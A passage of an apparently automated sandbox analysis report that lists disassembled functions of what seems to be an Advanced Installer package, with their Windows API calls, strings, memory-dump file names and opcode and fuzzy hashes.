Instruction Fuzzy Hash: 8AD18F70E00308EFDB15CFA4C968B9EBBB5FF45304F21865DD455AB2A1EB70AA44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 002F3E20 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(003BB53D,-00000400,?,00000002,00000400,DF534560,?,?,?), ref: 002F3EC6
GetLastError.KERNEL32(?,?), ref: 002F3ED4
ReadFile.KERNEL32(003BB53D,00000000,00000400,?,00000000,?,?), ref: 002F3EEF

Strings

ADVINSTSFX, xrefs: 002F3F23, 002F3FDE

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: File$ErrorLastPointerRead
String ID: ADVINSTSFX
API String ID: 64821003-4038163286
Opcode ID: 10408936e2bc1b5c8c5567d3b2aa38168149a46468635e94a0d92506522e427a
Instruction ID: c962ce3bd1b3cd57b1907dda386680c62f51a222ec743018111138067f0c10ae
Opcode Fuzzy Hash: 10408936e2bc1b5c8c5567d3b2aa38168149a46468635e94a0d92506522e427a
Instruction Fuzzy Hash: 5261B171E1020A9BDB15CFA8C884BBEFBB5FF45350F244269EA15A7281D770EE51CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A56D5C8 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6A56D60F
___scrt_uninitialize_crt.LIBCMT ref: 6A56D629

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: b701c10bef9de4bac7e105031c4cbc606d994e4a9be4aea19da6d81a3eea8f8d
Instruction ID: 8aad50986af8de599b07afa51fb65f1aad4d68354ac8b8cbc7aae5b645ac36de
Opcode Fuzzy Hash: b701c10bef9de4bac7e105031c4cbc606d994e4a9be4aea19da6d81a3eea8f8d
Instruction Fuzzy Hash: A241E573D00A24EFDB22DF65CC44B9E3AF4EBC1754F225915E815AB161DF314D428B91

Uniqueness

Uniqueness Score: -1.00%

Function 002BF280 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002BAE60: __Init_thread_footer.LIBCMT ref: 002BAF32

GetTempPathW.KERNEL32(00000104,?), ref: 002BF369
GetTempFileNameW.KERNEL32(?,shim_clone,00000000,?), ref: 002BF39A
Wow64DisableWow64FsRedirection.KERNEL32(00000000,?), ref: 002BF3CD
CopyFileW.KERNEL32(?,?,00000000), ref: 002BF3EF
Wow64RevertWow64FsRedirection.KERNEL32(00000000), ref: 002BF41E

Strings

shim_clone, xrefs: 002BF38E

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Wow64$FileRedirectionTemp$CopyDisableInit_thread_footerNamePathRevert
String ID: shim_clone
API String ID: 885488785-3944563459
Opcode ID: 5d91446ca94997349a452925750ac3c16810f502071d75e090441490b5943f34
Instruction ID: 90e6331aca5837f02d698d3f841f857d5093284c13cb977860de4f4a82e72d18
Opcode Fuzzy Hash: 5d91446ca94997349a452925750ac3c16810f502071d75e090441490b5943f34
Instruction Fuzzy Hash: 11511170A102589ADB25DF24CD05BEEB7F9EF94700F1480BAEA09D71C1DB70AE65CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002B7D90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 002B7DD8
GetLastError.KERNEL32 ref: 002B7DEF
GetLastError.KERNEL32 ref: 002B7E1F
FindCloseChangeNotification.KERNEL32(00000000), ref: 002B7ED0

Strings

t=, xrefs: 002B7EC4

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ErrorLast$ChangeCloseCurrentFindNotificationProcess
String ID: t=
API String ID: 343043762-4144653439
Opcode ID: 54f0afdee3f53e3deb1580153cc7d67da71c2f56a4963b778f55120906b7edce
Instruction ID: 3c29ef8d107afe4031685d2d327c8688a22f199082fc5bc864c973654228b8ed
Opcode Fuzzy Hash: 54f0afdee3f53e3deb1580153cc7d67da71c2f56a4963b778f55120906b7edce
Instruction Fuzzy Hash: F3414671D1421AEFDF11DFA0DC48BEEBBB8EF08354F104465E511B6290D779A904CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6A553C50 Relevance: 9.2, APIs: 6, Instructions: 199fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,AA831995,00000001,00000000), ref: 6A553CFF
GetFileSize.KERNEL32(00000000,00000000), ref: 6A553E2B
WriteFile.KERNEL32(00000000,0000FEFF,00000002,?,00000000), ref: 6A553E57
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 6A553E6D
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 6A553EB0
CloseHandle.KERNEL32(00000000), ref: 6A553ED7

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: File$Write$CloseCreateHandlePointerSize
String ID:
API String ID: 3932932802-0
Opcode ID: c040072fad0db64499a8e714613b72f71d54b18caa83aa77410445fc18c247e9
Instruction ID: 799ad293f47cf1f46f3ac726025c093b9276a953f581fdc1d1a8c57d7a9808ae
Opcode Fuzzy Hash: c040072fad0db64499a8e714613b72f71d54b18caa83aa77410445fc18c247e9
Instruction Fuzzy Hash: 85913870D00208EFEB11CFA5C959BDEBBB4BF05314F21815AE524A7281DB75AA58CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 002CE010 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 145fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,DF534560,?,00000010,?,002D13D0,?), ref: 002CE076
SetFilePointer.KERNEL32(00000000,?,00000010,00000000), ref: 002CE0BF
ReadFile.KERNEL32(00000000,DF534560,?,?,00000000,00000078,?), ref: 002CE101
FindCloseChangeNotification.KERNEL32(00000000), ref: 002CE17A

Strings

t=, xrefs: 002CE16E

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: File$ChangeCloseCreateFindNotificationPointerRead
String ID: t=
API String ID: 2405668454-4144653439
Opcode ID: 78e6aff3ca849ceca666ae08eb81c22ac5db2d930b45c7a7cc5c32b58310c8b0
Instruction ID: a1975231790b9742c901e2dcd10af345cc6f1f7b43573fdaed186bb93028d45c
Opcode Fuzzy Hash: 78e6aff3ca849ceca666ae08eb81c22ac5db2d930b45c7a7cc5c32b58310c8b0
Instruction Fuzzy Hash: E4518A71910609ABDB11CFA8CC48FAEFBB8EF45324F188359E424AB2D1D7B49D15CB60

Uniqueness

Uniqueness Score: -1.00%

Function 002A22E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 96registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,DF534560,?,?,?,00000000,?,Function_001C1810,000000FF), ref: 002A2323
GetProcAddress.KERNEL32(00000000,RegCreateKeyTransactedW), ref: 002A234C
RegCreateKeyExW.KERNEL32(?,001CBB59,00000000,00000000,00000000,?,00000000,00000000,?,DF534560,?,?,?,00000000,?,Function_001C1810), ref: 002A2399

Strings

RegCreateKeyTransactedW, xrefs: 002A2346
Advapi32.dll, xrefs: 002A231E

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AddressCreateHandleModuleProc
String ID: Advapi32.dll$RegCreateKeyTransactedW
API String ID: 1964897782-2994018265
Opcode ID: 6f64a0014327a50077d7db01826d3e11f7d5b17aecedadcb3ea5cdd944f5f001
Instruction ID: 83aa2a057f10323c6f86d20c5815cff3715192864203aa5c9c1e2a85600294d5
Opcode Fuzzy Hash: 6f64a0014327a50077d7db01826d3e11f7d5b17aecedadcb3ea5cdd944f5f001
Instruction Fuzzy Hash: 9931C232644209FBEF25CF49CC45FAAB7A8FB16750F10816AF905D72C0DB75A814CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00281BB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,DF534560,?,?,?,?,?,Function_001C1810,000000FF,?,002B3D2C,?,?,000000FF), ref: 00281BF3
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 00281C1C
RegOpenKeyExW.KERNEL32(?,DF534560,00000000,?,00000000,DF534560,?,?,?,?,?,Function_001C1810,000000FF,?,002B3D2C,?), ref: 00281C55

Strings

RegOpenKeyTransactedW, xrefs: 00281C16
Advapi32.dll, xrefs: 00281BEE

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AddressHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 1337834000-3913318428
Opcode ID: 7399398e129bc968e918539a8a2b57de804ea80e6373bb1e256223b5fa7ed42d
Instruction ID: 32de70cbb6ce54cbbc7f4dbd5c02ba305d7a8989c60ee09e7d49f15ddce735db
Opcode Fuzzy Hash: 7399398e129bc968e918539a8a2b57de804ea80e6373bb1e256223b5fa7ed42d
Instruction Fuzzy Hash: 4021D176A44216EFDB158F59DC45BAABBBCFB48750F00812AF815D72C0D771E820CB55

Uniqueness

Uniqueness Score: -1.00%

Function 002B9490 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ComCtl32.dll,DF534560,00000000,?,00000000), ref: 002B94CE
GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 002B94F1
FreeLibrary.KERNEL32(00000000), ref: 002B956F

Strings

ComCtl32.dll, xrefs: 002B94C2
LoadIconMetric, xrefs: 002B94EB

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: ComCtl32.dll$LoadIconMetric
API String ID: 145871493-764666640
Opcode ID: d6b8a22eac0b7bcb8ad822d7838e958c8b84b6e29d93c4bdd3941c8b7726694e
Instruction ID: 25fd008fcbfb19011da5445009975a2a6969e62268ef5ae0a517566eedcc5a1a
Opcode Fuzzy Hash: d6b8a22eac0b7bcb8ad822d7838e958c8b84b6e29d93c4bdd3941c8b7726694e
Instruction Fuzzy Hash: 4E316171A10269ABDF128FA5CC44BAFBFF8EB48750F000229F915A3281D7759A408B90

Uniqueness

Uniqueness Score: -1.00%

Function 6A56D678 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6A56D6B5
dllmain_crt_dispatch.LIBCMT ref: 6A56D6CC
dllmain_raw.LIBCMT ref: 6A56D714
dllmain_crt_dispatch.LIBCMT ref: 6A56D727
dllmain_raw.LIBCMT ref: 6A56D73A

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c69fed4e4c7807af4b03460659a008fed72a9e5365f45869f20be82b2521d7cf
Instruction ID: cb11ca9fd73f7aba014fd5e104191b565c623d15fc6b57df87e8e13f464b3d1d
Opcode Fuzzy Hash: c69fed4e4c7807af4b03460659a008fed72a9e5365f45869f20be82b2521d7cf
Instruction Fuzzy Hash: 2D21B673D00965ABCB22DE14CC44FAE3AF9EBC0B94F265925F8156B225DF318D418BD1

Uniqueness

Uniqueness Score: -1.00%

Function 6A5653C0 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 332COMMON

Download Yara Rule

APIs

Part of subcall function 6A547E10: GetProcessHeap.KERNEL32 ref: 6A547E6C

PathIsUNCW.SHLWAPI(?,?), ref: 6A565556
_wcschr.LIBVCRUNTIME ref: 6A565572

Strings

\\?\UNC\, xrefs: 6A565451, 6A5654C9, 6A5654CF
\\?\, xrefs: 6A565538, 6A56553E

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: HeapPathProcess_wcschr
String ID: \\?\$\\?\UNC\
API String ID: 1853780674-3019864461
Opcode ID: 4602e6471e06ec25dce00ff0454fee84466e3aa4ec9ded6b943e35ecaf535521
Instruction ID: 04555a45d5279722d7e2637188e5ed861791b6e2197cb67b1f6aef7498153989
Opcode Fuzzy Hash: 4602e6471e06ec25dce00ff0454fee84466e3aa4ec9ded6b943e35ecaf535521
Instruction Fuzzy Hash: 42C18F719006099BDB01CBA8C848B9EFBF9FF45314F158669E515EB2A2EF349D04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 002F0D10 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 224filepipeCOMMON

Download Yara Rule

APIs

ConnectNamedPipe.KERNEL32(?,00000000,DF534560,?,000000FF,?,?,00000000,003BABD6,000000FF,?,002F0F2A,000000FF,?,00000001), ref: 002F0D4C
GetLastError.KERNEL32(?,?,00000000,003BABD6,000000FF,?,002F0F2A,000000FF,?,00000001), ref: 002F0D56

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

ReadFile.KERNEL32(?,?,00007F90,00000000,00000000,DF534560,?,000000FF,?,?,00000000,003BABD6,000000FF,?,002F0F2A,000000FF), ref: 002F0DA3

Strings

\\.\pipe\ToServer, xrefs: 002F0FB4, 002F0FC5, 002F0FCF

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer$ConnectErrorFileHeapLastNamedPipeProcessRead
String ID: \\.\pipe\ToServer
API String ID: 2973225359-63420281
Opcode ID: e34886c67d8d694c98bad20f100d1ea145360764c74c4d8abc5e99a9206bb225
Instruction ID: a7411ed257bbf72cec0339cdcb4f64f7a58f456bb8775acce0301a54a541d26b
Opcode Fuzzy Hash: e34886c67d8d694c98bad20f100d1ea145360764c74c4d8abc5e99a9206bb225
Instruction Fuzzy Hash: 1471E071A04209AFDB10CF68C854BAEF7A8FF45324F10866DFA15DB382DB75A910CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002EF190 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 002EF224
GetEnvironmentVariableW.KERNEL32(UserDomain,00000000,00000000), ref: 002EF2A2
GetEnvironmentVariableW.KERNEL32(UserDomain,00000000,00000000,00000000,00000000), ref: 002EF2EC

Strings

UserDomain, xrefs: 002EF29D, 002EF2E7

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: EnvironmentVariable$ErrorLast
String ID: UserDomain
API String ID: 1936246020-2275544873
Opcode ID: 239ae32c61587038533112bc1d3ef888f89682598df0d2b8bd76ab37859b32e6
Instruction ID: 177845ec7a969ee667e2728a4dd80095dc4cfc0efbc6806366a5caf06322ced1
Opcode Fuzzy Hash: 239ae32c61587038533112bc1d3ef888f89682598df0d2b8bd76ab37859b32e6
Instruction Fuzzy Hash: 2F613571A10249DFDB14DFA9C955BEEBBF4FF58304F50012DE401A7280DBB5AA09CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00302330 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00303084,40000000,00000001,00000000,00000002,00000080,00000000,DF534560,00000001,?), ref: 00302392
WriteFile.KERNEL32(00000000,0000C800,0000C800,0000C800,00000000,?,0000C800), ref: 00302428
CloseHandle.KERNEL32(00000000,?,0000C800), ref: 0030245F

Strings

t=, xrefs: 00302453

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: t=
API String ID: 1065093856-4144653439
Opcode ID: 63b0317566616b80af3f286ea9f851036fe8a0759f39a22c923a680d4832c5b2
Instruction ID: 5ab7f93dda32e44fca930554a9b5e6d1ceab3eed2057bb93bc3a95f5e94328e9
Opcode Fuzzy Hash: 63b0317566616b80af3f286ea9f851036fe8a0759f39a22c923a680d4832c5b2
Instruction Fuzzy Hash: BC412371910218ABDF11DF99DD48BDEBBB8FB48704F20416AE500B7290D775AA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6A5458F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?,AA831995,00000034), ref: 6A54594C
GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 6A54596E

Strings

AABBCCDD, xrefs: 6A54598E
%08X, xrefs: 6A5459A3

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: FolderInformationPathVolume
String ID: %08X$AABBCCDD
API String ID: 1564939276-726327320
Opcode ID: e62bfa0c78c6a2099a97f77045cec5ae41ee45d5517fffdead0d494284320925
Instruction ID: 6d1382bd635d79869187717bcf8bd9861dd46cdc297473e06135c140052b4091
Opcode Fuzzy Hash: e62bfa0c78c6a2099a97f77045cec5ae41ee45d5517fffdead0d494284320925
Instruction Fuzzy Hash: D0311EB5500749AFDB20CF64DC05BEE7BF8FB04704F004A1EE9569B680EBB56648CB95

Uniqueness

Uniqueness Score: -1.00%

Function 002B6350 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

_wcschr.LIBVCRUNTIME ref: 002B6502

Strings

\\?\UNC\, xrefs: 002B63E1, 002B6459, 002B645F
\\?\, xrefs: 002B64C8, 002B64CE

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

